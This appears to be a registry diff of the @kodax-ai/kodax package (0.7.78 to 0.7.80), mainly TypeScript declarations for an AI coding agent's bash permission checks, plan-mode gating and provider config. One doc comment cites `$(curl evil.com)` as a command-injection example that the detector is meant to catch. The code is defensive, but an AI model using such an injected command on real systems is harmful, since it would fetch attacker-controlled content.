@kodax-ai/kodax 0.7.78 → 0.7.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (126) hide show
  1. package/CHANGELOG.md +3556 -3197
  2. package/README.md +371 -277
  3. package/README_CN.md +295 -215
  4. package/config-templates/config.example.jsonc +24 -2
  5. package/config-templates/integrations/a2a.example.jsonc +23 -7
  6. package/dist/builtin/skill-creator/scripts/aggregate-benchmark.js +2 -1
  7. package/dist/builtin/skill-creator/scripts/analyze-benchmark.d.ts +1 -0
  8. package/dist/builtin/skill-creator/scripts/analyze-benchmark.js +4 -3
  9. package/dist/builtin/skill-creator/scripts/compare-runs.d.ts +1 -0
  10. package/dist/builtin/skill-creator/scripts/compare-runs.js +4 -3
  11. package/dist/builtin/skill-creator/scripts/generate-review.js +2 -1
  12. package/dist/builtin/skill-creator/scripts/grade-evals.d.ts +1 -0
  13. package/dist/builtin/skill-creator/scripts/grade-evals.js +4 -3
  14. package/dist/builtin/skill-creator/scripts/improve-description.js +2 -1
  15. package/dist/builtin/skill-creator/scripts/init-skill.d.ts +1 -0
  16. package/dist/builtin/skill-creator/scripts/init-skill.js +4 -3
  17. package/dist/builtin/skill-creator/scripts/install-skill.d.ts +1 -0
  18. package/dist/builtin/skill-creator/scripts/install-skill.js +4 -3
  19. package/dist/builtin/skill-creator/scripts/package-skill.d.ts +1 -0
  20. package/dist/builtin/skill-creator/scripts/package-skill.js +4 -3
  21. package/dist/builtin/skill-creator/scripts/quick-validate.d.ts +1 -0
  22. package/dist/builtin/skill-creator/scripts/quick-validate.js +4 -3
  23. package/dist/builtin/skill-creator/scripts/run-eval.d.ts +1 -0
  24. package/dist/builtin/skill-creator/scripts/run-eval.js +4 -3
  25. package/dist/builtin/skill-creator/scripts/run-loop.js +2 -1
  26. package/dist/builtin/skill-creator/scripts/run-trigger-eval.js +2 -1
  27. package/dist/builtin/skill-creator/scripts/utils.d.ts +3 -0
  28. package/dist/builtin/skill-creator/scripts/utils.js +5 -1
  29. package/dist/chunks/agent-5PHGNFW3.js +2 -0
  30. package/dist/chunks/argument-completer-FXRZFMTC.js +2 -0
  31. package/dist/chunks/chunk-6UENDY33.js +89 -0
  32. package/dist/chunks/{chunk-6FOJVETH.js → chunk-BWX4YZX3.js} +7 -7
  33. package/dist/chunks/chunk-CDCCTM5I.js +278 -0
  34. package/dist/chunks/chunk-CEB5FDND.js +810 -0
  35. package/dist/chunks/{chunk-2CFHBKRE.js → chunk-E7C4DRD2.js} +2 -2
  36. package/dist/chunks/chunk-EVXIJPZ6.js +218 -0
  37. package/dist/chunks/chunk-FQ7NVMSU.js +319 -0
  38. package/dist/chunks/chunk-GC4JBMBS.js +385 -0
  39. package/dist/chunks/{chunk-Z3KFRTSB.js → chunk-HTVLCHWH.js} +1 -1
  40. package/dist/chunks/chunk-IHPH3444.js +655 -0
  41. package/dist/chunks/{chunk-YAZQTC2L.js → chunk-KHEFUT6O.js} +1 -1
  42. package/dist/chunks/{chunk-7OEBJGHK.js → chunk-PMKAG4SZ.js} +1 -1
  43. package/dist/chunks/chunk-RPF5RGWZ.js +479 -0
  44. package/dist/chunks/{chunk-UID7BLAB.js → chunk-RXXKDR6Y.js} +1 -1
  45. package/dist/chunks/chunk-T5U4OP2N.js +292 -0
  46. package/dist/chunks/chunk-TRNAWSXP.js +123 -0
  47. package/dist/chunks/chunk-UZSHBQER.js +30 -0
  48. package/dist/chunks/{chunk-TQDBTTIM.js → chunk-VECRQTSD.js} +44 -44
  49. package/dist/chunks/compaction-config-6J6XCBJS.js +2 -0
  50. package/dist/chunks/{construction-bootstrap-VQLQGWPY.js → construction-bootstrap-KPCAE3VN.js} +1 -1
  51. package/dist/chunks/dist-RWEVZOFK.js +2 -0
  52. package/dist/chunks/{dist-BFT5YIGU.js → dist-WWL2DNIJ.js} +1 -1
  53. package/dist/chunks/host-OGS2R5J4.js +2 -0
  54. package/dist/chunks/run-manager-2YMM3BOT.js +2 -0
  55. package/dist/chunks/{utils-SID4HW2Q.js → utils-2YHRUZYC.js} +1 -1
  56. package/dist/index.d.ts +21 -20
  57. package/dist/index.js +4 -4
  58. package/dist/kodax_bootstrap.js +2 -1
  59. package/dist/kodax_cli.js +1850 -1476
  60. package/dist/kodax_resume.js +570 -34
  61. package/dist/provider-capabilities.json +85 -50
  62. package/dist/runtime-worker.js +1737 -1369
  63. package/dist/sandbox-workspace-session.js +285 -19
  64. package/dist/sdk-a2a.d.ts +19 -13
  65. package/dist/sdk-a2a.js +8 -8
  66. package/dist/sdk-agent.d.ts +80 -150
  67. package/dist/sdk-agent.js +1 -1
  68. package/dist/sdk-coding.d.ts +186 -66
  69. package/dist/sdk-coding.js +1 -1
  70. package/dist/sdk-experimental-memory.d.ts +3 -3
  71. package/dist/sdk-experimental-memory.js +1 -1
  72. package/dist/sdk-llm.d.ts +7 -7
  73. package/dist/sdk-llm.js +1 -1
  74. package/dist/sdk-mcp.d.ts +1 -1
  75. package/dist/sdk-mcp.js +1 -1
  76. package/dist/sdk-media.d.ts +1 -1
  77. package/dist/sdk-media.js +1 -1
  78. package/dist/sdk-repl.d.ts +31 -213
  79. package/dist/sdk-repl.js +2 -2
  80. package/dist/sdk-runtime.d.ts +230 -31
  81. package/dist/sdk-runtime.js +1 -1
  82. package/dist/sdk-sandbox.js +1 -1
  83. package/dist/sdk-session.d.ts +8 -8
  84. package/dist/sdk-session.js +1 -1
  85. package/dist/sdk-skills.js +1 -1
  86. package/dist/semantic-worker.js +283 -18
  87. package/dist/types-chunks/{base.d-4e74xDdy.d.ts → base.d-DxG0m09Z.d.ts} +1 -1
  88. package/dist/types-chunks/{bash-prefix-extractor.d-uAe2Oqda.d.ts → bash-prefix-extractor.d-DStqKIlu.d.ts} +31 -8
  89. package/dist/types-chunks/{capability-learning.d-CVsdHw4j.d.ts → capability-learning.d-iPSiAmc_.d.ts} +1 -1
  90. package/dist/types-chunks/{capsule.d-BlSv9l3V.d.ts → capsule.d-BuFJaYxA.d.ts} +14 -21
  91. package/dist/types-chunks/{types.d-BA-Jwpfs.d.ts → controller.d-C2aHqzHj.d.ts} +344 -11
  92. package/dist/types-chunks/{guardrail.d-CXDYRgZ3.d.ts → guardrail.d-DM-OK0m3.d.ts} +187 -116
  93. package/dist/types-chunks/{history-retrieval.d-DtCy7x64.d.ts → history-retrieval.d-DImTKgO6.d.ts} +16 -3
  94. package/dist/types-chunks/{oauth-login.d-Bgb4rdLN.d.ts → oauth-login.d-6i-vidxv.d.ts} +6 -2
  95. package/dist/types-chunks/{public-api.d-B3AohsxN.d.ts → public-api.d-CewTvUKV.d.ts} +335 -38
  96. package/dist/types-chunks/{repl.d-Ie_ZXb_U.d.ts → repl.d-DvXQtgr7.d.ts} +5 -5
  97. package/dist/types-chunks/{resolver.d-iAQ9ocLB.d.ts → resolver.d-C9IW4fmU.d.ts} +5 -2
  98. package/dist/types-chunks/{run-manager.d-D1twIhF9.d.ts → run-manager.d-C6ahvZqK.d.ts} +1 -1
  99. package/dist/types-chunks/{sdk-session-DB9KksIx.d.ts → sdk-session-C59RUrri.d.ts} +3 -3
  100. package/dist/types-chunks/shell-command-sets.d-Dp4UvPLL.d.ts +297 -0
  101. package/dist/types-chunks/{side-query.d-DTuLPcC5.d.ts → side-query.d-CP1LiRiH.d.ts} +8 -2
  102. package/dist/types-chunks/{types-D3g6XUQr.d.ts → types-Bf3Y3mW-.d.ts} +1 -1
  103. package/dist/types-chunks/{types.d-BH0ZkTGf.d.ts → types.d-BzpPDBPV.d.ts} +2 -2
  104. package/dist/types-chunks/{types.d-DIpZJKUl.d.ts → types.d-CgrXrFrq.d.ts} +16 -2
  105. package/dist/types-chunks/{types.d-DVDTIfB_.d.ts → types.d-yuJzE82x.d.ts} +4 -4
  106. package/dist/types-chunks/{utils.d-CVp6bFl9.d.ts → utils.d-BpACJmzt.d.ts} +24 -6
  107. package/docs/SDK_EMBEDDER_GUIDE.md +1148 -598
  108. package/package.json +6 -3
  109. package/dist/chunks/agent-ASP4MS3X.js +0 -2
  110. package/dist/chunks/argument-completer-JYQ7FX3W.js +0 -2
  111. package/dist/chunks/chunk-35PPHOQ2.js +0 -292
  112. package/dist/chunks/chunk-43QNNDHR.js +0 -29
  113. package/dist/chunks/chunk-5GO6FH7L.js +0 -458
  114. package/dist/chunks/chunk-5NDCSFOP.js +0 -78
  115. package/dist/chunks/chunk-6XM4B6K2.js +0 -48
  116. package/dist/chunks/chunk-6YZUE6NC.js +0 -240
  117. package/dist/chunks/chunk-KQLQYHWU.js +0 -386
  118. package/dist/chunks/chunk-NXO6GWSY.js +0 -46
  119. package/dist/chunks/chunk-T2XZTLYE.js +0 -316
  120. package/dist/chunks/chunk-VAT2QYXM.js +0 -765
  121. package/dist/chunks/chunk-YVRYHC4C.js +0 -655
  122. package/dist/chunks/compaction-config-BQSSIWK5.js +0 -2
  123. package/dist/chunks/dist-PCFE24YP.js +0 -2
  124. package/dist/chunks/host-UTFXCYYM.js +0 -2
  125. package/dist/chunks/run-manager-PJU3WIFJ.js +0 -2
  126. package/dist/types-chunks/guardrail.d-BRE_ErEj.d.ts +0 -156
@@ -0,0 +1,297 @@
1
+ import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-DStqKIlu.js';
2
+
3
+ /**
4
+ * Permission Utilities
5
+ *
6
+ * 权限工具函数 - 模式解析、匹配、路径检查
7
+ *
8
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
9
+ * - "Bash(npm install)" - exact command match
10
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
11
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
12
+ *
13
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
14
+ */
15
+
16
+ type PermissionMode = 'plan' | 'accept-edits' | 'auto' | 'auto-in-project';
17
+ /** Return the subcommand position after validated Git global options. */
18
+ declare function findGitSubcommandIndex(argv: readonly string[]): number | undefined;
19
+ /** True when a Git inspection may invoke a configured signature helper. */
20
+ declare function gitSignatureInspectionMayExecute(subcommand: string | undefined, args: readonly string[]): boolean;
21
+ interface GitGrepShortOption {
22
+ readonly pager: boolean;
23
+ readonly valueKind?: 'pattern' | 'pattern-file' | 'other';
24
+ readonly attachedValue?: string;
25
+ readonly consumesNext: boolean;
26
+ }
27
+ /** Parse Git grep's clusterable short options until an option consumes the remainder. */
28
+ declare function parseGitGrepShortOption(token: string): GitGrepShortOption;
29
+ /** Validate one already-tokenized shell pipeline stage as read-only. */
30
+ declare function isShellReadOnlyArgv(argv: readonly string[]): boolean;
31
+ /**
32
+ * FEATURE_154 — universal `--help` fast-path (parity with Claude Code
33
+ * `commands.ts:isHelpCommand` at [commands.ts:388-436]).
34
+ *
35
+ * Returns `true` for commands of the shape `[CMD [SUBCMD ...]] --help` where
36
+ * every non-flag token is a simple alphanumeric identifier and `--help` is
37
+ * the only flag. These commands are unconditionally safe (programs print
38
+ * help and exit), so they fast-path past the LLM classifier (FEATURE_092)
39
+ * and the safe-read whitelist.
40
+ *
41
+ * Why: KodaX's auto-mode classifier costs an LLM call per tool invocation.
42
+ * Paying token cost on every `kubectl --help` / `docker --help` etc. is
43
+ * waste. Pre-FEATURE_154, KodaX only fast-pathed `--help` for ~12 language
44
+ * toolchains (`npm` / `tsc` / `go` / etc.) via the `languageTools` carve-out
45
+ * in `isSingleBashReadCommand`; this generalises to any command name.
46
+ *
47
+ * Strict by design (matches CC):
48
+ * - Must end with `--help` (after trim)
49
+ * - Must NOT contain `'` or `"` (could hide injection behind alphanumerics)
50
+ * - Must contain `--help` exactly; any other flag (`-c`, `--version`, etc.) → false
51
+ * - Every non-flag token must match `/^[a-zA-Z0-9]+$/` (rejects paths,
52
+ * versioned files, env vars, shell metacharacters)
53
+ *
54
+ * Slightly stricter than CC on `$VAR` (CC's shell-quote tokenizer represents
55
+ * env-substitutions as object tokens that the loop skips, effectively
56
+ * letting them pass; KodaX's simple split sees them as strings and rejects.
57
+ * The stricter behavior is a deliberate safety choice.).
58
+ */
59
+ declare function isHelpCommand(command: string): boolean;
60
+ /**
61
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
62
+ *
63
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
64
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
65
+ * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
66
+ * - pipeline stages split on `|` (every stage must be a safe-read command),
67
+ * - per-stage redirections (input redirects rejected; output redirects only
68
+ * allowed when the target is a null device, which discards output rather
69
+ * than writing — preserves Issue 129 behavior),
70
+ * - `unparseable: true` for inputs we can't model (heredocs, command
71
+ * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
72
+ * `false` so unmodeled syntax always falls through to confirmation.
73
+ *
74
+ * Per-stage syntactic checks use `isShellReadOnlyArgv` so quoted tokens do not
75
+ * need to be joined and parsed a second time.
76
+ *
77
+ * @param command - bash command string
78
+ * @returns true if the command is a safe read operation
79
+ */
80
+ declare function isBashReadCommand(command: string): boolean;
81
+ declare function getDirectShellBypassBlockReason(command: string): string | null;
82
+ /**
83
+ * Check if a bash command is a write operation.
84
+ *
85
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
86
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
87
+ * classes of false positives the regex chain had:
88
+ * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
89
+ * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
90
+ * blacklist of pre-compiled regexes. The strip was fragile — any
91
+ * future fd-redirect form would re-introduce the false positive.
92
+ * Now redirections are structured tokens with a `target` field;
93
+ * `isNullDevice(target)` is the single source of truth.
94
+ * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
95
+ * matched `set-content` even when it appeared inside a quoted string
96
+ * argument or inside a path. AST argv tokens are post-quote-stripping
97
+ * so PowerShell verb checks compare against actual command names.
98
+ *
99
+ * Detection rules (per-stage):
100
+ * - argv[0] OR argv[0..1] (joined with space) matches any entry in
101
+ * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
102
+ * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
103
+ * appear inline, not just at stage start, due to PowerShell pipeline
104
+ * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
105
+ * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
106
+ * stage 1; we cover both with a token-anywhere check).
107
+ * - any non-input redirection whose target is NOT a null device.
108
+ *
109
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
110
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
111
+ * didn't match anything in the regex blacklist either. Plan-mode and
112
+ * auto-mode handle the unparseable case via separate confirmation paths.
113
+ *
114
+ * @param command - bash command string
115
+ * @returns true if the command is a write operation
116
+ */
117
+ declare function isBashWriteCommand(command: string): boolean;
118
+ /**
119
+ * Parse allowed tool pattern - 解析允许的工具模式
120
+ *
121
+ * Formats:
122
+ * - "read" -> { tool: "read", pattern: null }
123
+ * - "Edit(*)" -> { tool: "Edit", pattern: "*" }
124
+ * - "Bash(npm install)" -> { tool: "Bash", pattern: "npm install" }
125
+ * - "Bash(git commit:*)" -> { tool: "Bash", pattern: "git commit:*" }
126
+ */
127
+ declare function parseAllowedToolPattern(entry: string): {
128
+ tool: string;
129
+ pattern: string | null;
130
+ };
131
+ /**
132
+ * Check if a tool call is allowed by the user's allowlist patterns.
133
+ *
134
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
135
+ * routed through the LLM-backed prefix extractor, which:
136
+ * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
137
+ * `git commit -m "msg"`)
138
+ * - Returns `injection_detected` for inputs containing command injection
139
+ * (`git commit -m "x" $(curl evil.com)`)
140
+ * - Returns `no_prefix` when no safe prefix can be determined
141
+ * Patterns then match against the extracted prefix exactly. This eliminates
142
+ * the pre-FEATURE_153 startsWith-based injection surface.
143
+ *
144
+ * When `extractor` is NOT supplied, falls back to the legacy
145
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
146
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
147
+ * production; the legacy branch exists for tests and headless SDK consumers
148
+ * without LLM access.
149
+ *
150
+ * Note: Only Bash tool is supported for pattern matching.
151
+ *
152
+ * @param toolName — tool name (only "bash" / "Bash" matched)
153
+ * @param input — tool call input; reads `input.command`
154
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
155
+ * `~/.kodax/config.json` `alwaysAllowTools`
156
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
157
+ * @param signal — optional abort signal forwarded to the extractor
158
+ */
159
+ declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
160
+ /**
161
+ * Generate pattern string for saving
162
+ */
163
+ declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
164
+ /**
165
+ * Check if target path requires always-confirm (permanent protection zones)
166
+ *
167
+ * Protected zones (always require confirmation, regardless of mode):
168
+ * - .kodax/ project config directory
169
+ * - ~/.kodax/ user config directory
170
+ * - Paths outside the project root AND outside the system temp directory
171
+ *
172
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
173
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
174
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
175
+ * already explicitly permit system-temp writes, so accept-edits and
176
+ * auto-in-project should not be stricter than plan mode on this dimension.
177
+ */
178
+ declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
179
+ /**
180
+ * Pre-AST regex-based path scanner. Retained as a complementary pass
181
+ * because shell-quote's POSIX tokenisation eats Windows backslash escapes:
182
+ * `rm C:\Users\foo\bar.txt` → AST argv is `['rm', 'C:Users', 'oo\bar.txt']`
183
+ * (the `\U`, `\f`, `\b` are POSIX-escape-stripped).
184
+ * The regex sees raw input and recognises `C:\foo`-style paths as one
185
+ * coherent token, which is what callers (`isCommandOnProtectedPath`,
186
+ * `collectBashWriteTargets`) actually need to make path-safety decisions.
187
+ *
188
+ * Pre-AST regex was the entire impl; here it's a Windows-path safety net
189
+ * layered ON TOP of the AST argv pass. Tokens recognised by both are
190
+ * de-duped at the `Set` level by the caller.
191
+ */
192
+ interface RawCommandWord {
193
+ readonly value: string;
194
+ readonly start: number;
195
+ readonly end: number;
196
+ }
197
+ declare function tokenizeRawCommandStages(command: string): readonly RawCommandWord[][];
198
+ /**
199
+ * Extract potential file paths from a bash command. Used to check whether
200
+ * a bash invocation operates on protected paths (`isCommandOnProtectedPath`)
201
+ * and as a "wide net" feeder into `collectBashWriteTargets`.
202
+ *
203
+ * FEATURE_152 (v0.7.38): hybrid AST + legacy-regex pass:
204
+ * 1. AST tokenisation for argv — gives correctly unquoted paths,
205
+ * including paths with spaces (`"path with spaces.txt"`). Pre-AST
206
+ * regex needed quotes literally present in input.
207
+ * 2. Legacy regex pass for Windows backslash paths — shell-quote treats
208
+ * `\` as POSIX escape so `C:\Users\foo` mangles into `C:Users`.
209
+ * The regex recognises the raw Windows path token before tokenisation.
210
+ *
211
+ * Both passes contribute; results de-duplicate via `Set` at the call site.
212
+ *
213
+ * Issue 052: original purpose — gate "always allow" on bash commands that
214
+ * touch protected paths.
215
+ */
216
+ declare function extractPathsFromCommand(command: string): string[];
217
+ /**
218
+ * Check if a bash command operates on any protected paths
219
+ * Issue 052: Prevent "always" option for bash commands on protected paths
220
+ */
221
+ declare function isCommandOnProtectedPath(command: string, projectRoot: string, executionCwd?: string): boolean;
222
+ /**
223
+ * Check whether a path stays inside the project root after resolution.
224
+ */
225
+ declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
226
+ declare function getPlanModeAllowedWritablePaths(projectRoot?: string): {
227
+ projectPlanDoc: string;
228
+ systemTempDirs: string[];
229
+ };
230
+ declare function isPlanModeAllowedPath(targetPath: string, projectRoot?: string, executionCwd?: string | undefined): boolean;
231
+ /**
232
+ * Collect the file targets that a bash command might write to. Used by
233
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
234
+ *
235
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
236
+ * version concatenated four overlapping regex sweeps over the raw command
237
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
238
+ * matched as substring in `committee.txt`). The AST gives clean argv
239
+ * tokens with quoting stripped, and per-stage redirection targets.
240
+ */
241
+ declare function collectBashWriteTargets(command: string): string[];
242
+ /** Parsed targets whose command role itself proves they are mutated. */
243
+ declare function collectDeterministicBashWriteTargets(command: string): string[];
244
+ declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
245
+ dangerous: boolean;
246
+ reason?: string;
247
+ };
248
+ /**
249
+ * v0.7.42 — Metadata-driven plan-mode gate.
250
+ *
251
+ * Decision order (first match wins):
252
+ *
253
+ * 1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
254
+ * permitted (`null`). Covers planning-loop tools whose effect IS the
255
+ * planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
256
+ * `ask_user_question`, plus read-class network queries
257
+ * (`web_search`, `mcp_search` / `mcp_describe` /
258
+ * `mcp_read_resource` / `mcp_get_prompt`).
259
+ * 2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
260
+ * permitted (`null`). Read tools never need plan-mode gating.
261
+ * 3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
262
+ * (computed from `sideEffect === 'mutates-fs' AND requires path`)
263
+ * can write IF the target path is `.agent/plan_mode_doc.md` or the
264
+ * system temp dir.
265
+ * 4. `bash` special case: command-content-aware check via
266
+ * `isBashWriteCommand` + `collectBashWriteTargets` — read-only bash
267
+ * (`git status`, `ls`, …) is permitted; write bash with all targets
268
+ * in the plan-doc / temp escape is permitted; everything else
269
+ * blocks.
270
+ * 5. Everything else with a side effect → blocked with a generic
271
+ * reason naming the side-effect class.
272
+ *
273
+ * Pre-v0.7.42 this function only gated `write`, `edit`, `undo`, `bash` —
274
+ * a hardcoded 4-tool list that silently let `multi_edit`,
275
+ * `insert_after_anchor`, `worktree_*`, `scaffold_*`, `stage_*`,
276
+ * `dispatch_child_task`, `send_message`, `web_fetch`, `mcp_call` etc.
277
+ * fall through to `return null` (permitted). The metadata-driven gate
278
+ * closes that gap structurally — new mutating tools auto-block until
279
+ * explicitly opted in via `planModeAllowed: true`.
280
+ */
281
+ declare function getPlanModeBlockReason(toolName: string, input: Record<string, unknown>, projectRoot?: string, executionCwd?: string | undefined): string | null;
282
+ /**
283
+ * Infer PermissionMode from legacy options (backward compat)
284
+ */
285
+ declare function inferPermissionMode(opts: {
286
+ auto?: boolean;
287
+ mode?: 'code' | 'ask';
288
+ confirmTools?: Set<string>;
289
+ }): PermissionMode;
290
+
291
+ declare const FILE_MODIFICATION_TOOLS: Set<string>;
292
+ declare const MODIFICATION_TOOLS: Set<string>;
293
+ declare const BASH_WRITE_COMMANDS: Set<string>;
294
+ declare const BASH_SAFE_READ_COMMANDS: Set<string>;
295
+
296
+ export { BASH_SAFE_READ_COMMANDS as B, FILE_MODIFICATION_TOOLS as F, MODIFICATION_TOOLS as M, BASH_WRITE_COMMANDS as a, collectDeterministicBashWriteTargets as b, collectBashWriteTargets as c, getBashOutsideProjectWriteRisk as d, extractPathsFromCommand as e, findGitSubcommandIndex as f, generateSavePattern as g, getDirectShellBypassBlockReason as h, getPlanModeAllowedWritablePaths as i, getPlanModeBlockReason as j, gitSignatureInspectionMayExecute as k, inferPermissionMode as l, isAlwaysConfirmPath as m, isBashReadCommand as n, isBashWriteCommand as o, isCommandOnProtectedPath as p, isHelpCommand as q, isPathInsideProject as r, isPlanModeAllowedPath as s, isShellReadOnlyArgv as t, isToolCallAllowed as u, parseAllowedToolPattern as v, parseGitGrepShortOption as w, tokenizeRawCommandStages as x };
297
+ export type { GitGrepShortOption as G, PermissionMode as P, RawCommandWord as R };
@@ -1,5 +1,5 @@
1
- import { k as KodaXMessage, H as KodaXReasoningRequest, a0 as KodaXTokenUsage } from './types.d-DIpZJKUl.js';
2
- import { K as KodaXBaseProvider } from './base.d-4e74xDdy.js';
1
+ import { k as KodaXMessage, I as KodaXReasoningRequest, a1 as KodaXTokenUsage } from './types.d-CgrXrFrq.js';
2
+ import { K as KodaXBaseProvider } from './base.d-DxG0m09Z.js';
3
3
  import { a as CostTracker } from './cost-tracker.d-BeaenODW.js';
4
4
 
5
5
  /**
@@ -58,6 +58,12 @@ interface SideQueryDiagnostics {
58
58
  readonly promptBytes: number;
59
59
  readonly retryCount: number;
60
60
  readonly retryWaitMs: number;
61
+ /** Provider completion mapped to the stable side-query stop taxonomy. */
62
+ readonly stopReason?: SideQueryStopReason;
63
+ /** UTF-8 size of returned text only; response content is never persisted. */
64
+ readonly responseBytes?: number;
65
+ /** Number of provider text blocks concatenated into the returned text. */
66
+ readonly textBlockCount?: number;
61
67
  /** Time until the first lifecycle/data event exposed by the provider adapter. */
62
68
  readonly firstUpstreamEventMs?: number;
63
69
  /** Time until the first non-empty thinking delta. */
@@ -1,4 +1,4 @@
1
- import { k as KodaXMessage } from './types.d-DIpZJKUl.js';
1
+ import { k as KodaXMessage } from './types.d-CgrXrFrq.js';
2
2
 
3
3
  /**
4
4
  * @kodax-ai/agent Types
@@ -1,5 +1,5 @@
1
- import { bD as KodaXInputArtifact } from './types.d-BA-Jwpfs.js';
2
- import { S as KodaXTaskResultMetadata } from './types.d-DIpZJKUl.js';
1
+ import { bM as KodaXInputArtifact } from './controller.d-C2aHqzHj.js';
2
+ import { T as KodaXTaskResultMetadata } from './types.d-CgrXrFrq.js';
3
3
 
4
4
  /**
5
5
  * @kodax-ai/agent/messaging — Message queue types
@@ -198,7 +198,7 @@ interface KodaXToolDefinition {
198
198
  type KodaXReasoningCapability = 'native-effort' | 'native-budget' | 'native-toggle' | 'native-adaptive' | 'none' | 'prompt-only' | 'unknown';
199
199
  type KodaXStableEffortIntent = 'auto' | 'none' | 'low' | 'medium' | 'high';
200
200
  type KodaXWireReasoningEffort = string;
201
- type KodaXReasoningPresetName = 'zai-glm-5.2' | 'zai-glm-toggle' | 'deepseek-v4-openai' | 'deepseek-v4-anthropic' | 'deepseek-toggle' | 'kimi-k3' | 'kimi-k2.7-code' | 'kimi-hybrid-toggle' | 'minimax-m3' | 'minimax-m2-always' | 'mimo-v2.5-toggle' | 'qwen-hybrid-thinking' | 'openai-chat-reasoning' | 'openai-responses-reasoning' | 'codex-cli-effort' | 'claude-adaptive-xhigh' | 'claude-adaptive-max' | 'anthropic-budget' | 'generic-thinking-toggle' | 'none';
201
+ type KodaXReasoningPresetName = 'zai-glm-5.2' | 'zai-glm-toggle' | 'deepseek-v4-flash-openai' | 'deepseek-v4-pro-openai' | 'deepseek-v4-openai' | 'deepseek-v4-anthropic' | 'deepseek-toggle' | 'kimi-k3' | 'kimi-k2.7-code' | 'kimi-hybrid-toggle' | 'minimax-m3' | 'minimax-m2-always' | 'mimo-v2.5-toggle' | 'qwen-hybrid-thinking' | 'openai-chat-reasoning' | 'openai-responses-reasoning' | 'codex-cli-effort' | 'claude-adaptive-xhigh' | 'claude-adaptive-max' | 'anthropic-budget' | 'generic-thinking-toggle' | 'none';
202
202
  interface KodaXReasoningEffortRequest {
203
203
  readonly value: KodaXWireReasoningEffort;
204
204
  readonly isExplicit: boolean;
@@ -341,6 +341,11 @@ interface KodaXModelDescriptor {
341
341
  displayName?: string;
342
342
  contextWindow?: number;
343
343
  maxOutputTokens?: number;
344
+ /**
345
+ * Per-model OpenAI Chat Completions field for the output-token limit.
346
+ * Defaults to the provider-level value, then `max_completion_tokens`.
347
+ */
348
+ maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
344
349
  thinkingBudgetCap?: number;
345
350
  /** @deprecated Auto-migrated on load. Prefer `reasoning: { efforts, default }`. */
346
351
  reasoningCapability?: KodaXReasoningCapability;
@@ -374,6 +379,7 @@ interface KodaXModelDescriptor {
374
379
  }
375
380
  type KodaXProtocolFamily = 'anthropic' | 'openai';
376
381
  type KodaXProviderUserAgentMode = 'compat' | 'sdk';
382
+ type KodaXOpenAICompatMaxOutputTokensField = 'max_tokens' | 'max_completion_tokens';
377
383
  /**
378
384
  * FEATURE_216 v0.7.45 — Strategy KodaX uses to verify a provider's API
379
385
  * credentials. Per-provider data-driven (set in `provider-capabilities.json`)
@@ -472,6 +478,12 @@ interface KodaXCustomProviderConfig {
472
478
  capabilityProfile?: KodaXProviderCapabilityProfile;
473
479
  contextWindow?: number;
474
480
  maxOutputTokens?: number;
481
+ /**
482
+ * OpenAI Chat Completions field used for the output-token limit. Set to
483
+ * `max_tokens` for DeepSeek-compatible endpoints. Defaults to
484
+ * `max_completion_tokens`; model descriptors may override it.
485
+ */
486
+ maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
475
487
  thinkingBudgetCap?: number;
476
488
  /**
477
489
  * Opt in only when this exact endpoint is known to accept the protocol's
@@ -529,6 +541,8 @@ interface KodaXProviderConfig {
529
541
  contextWindow?: number;
530
542
  /** Provider 允许的最大输出 token */
531
543
  maxOutputTokens?: number;
544
+ /** OpenAI Chat Completions output-token field; model descriptors override it. */
545
+ maxOutputTokensField?: KodaXOpenAICompatMaxOutputTokensField;
532
546
  /** Provider thinking budget 上限 */
533
547
  thinkingBudgetCap?: number;
534
548
  /** Whether this verified endpoint accepts the protocol cache-affinity field. */
